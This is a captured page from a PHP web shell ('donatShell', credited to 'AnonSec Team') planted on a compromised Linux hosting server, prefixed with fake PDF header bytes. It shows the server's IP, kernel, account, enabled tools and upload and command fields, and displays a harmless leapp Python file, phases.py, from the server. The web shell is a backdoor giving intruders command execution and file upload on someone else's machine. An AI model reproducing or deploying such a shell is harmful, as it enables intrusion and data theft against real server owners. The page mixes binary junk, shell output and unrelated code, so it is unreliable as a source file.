%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/leapp/workflows/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python2.7/site-packages/leapp/workflows/phases.py
from leapp.utils.meta import with_metaclass
from leapp.workflows.flags import Flags
from leapp.workflows.policies import Policies


class PhaseMeta(type):
    classes = []

    def __new__(mcs, name, bases, attrs):
        klass = super(PhaseMeta, mcs).__new__(mcs, name, bases, attrs)
        PhaseMeta.classes.append(klass)
        return klass


class Phase(with_metaclass(PhaseMeta)):
    name = None
    filter = None
    policies = Policies(Policies.Errors.FailPhase,
                        Policies.Retry.Phase)
    flags = Flags()

    @classmethod
    def get_index(cls):
        return PhaseMeta.classes.index(cls)

    @classmethod
    def serialize(cls):
        """
        :return: Dictionary with the serialized representation of the phase
        """
        return {
            'name': cls.name,
            'class_name': cls.__name__,
            'index': cls.get_index(),
            'filter': cls.filter.serialize() if cls.filter else None,
            'policies': cls.policies.serialize(),
            'flags': cls.flags.serialize(),
        }

Anon7 - 2022
AnonSec Team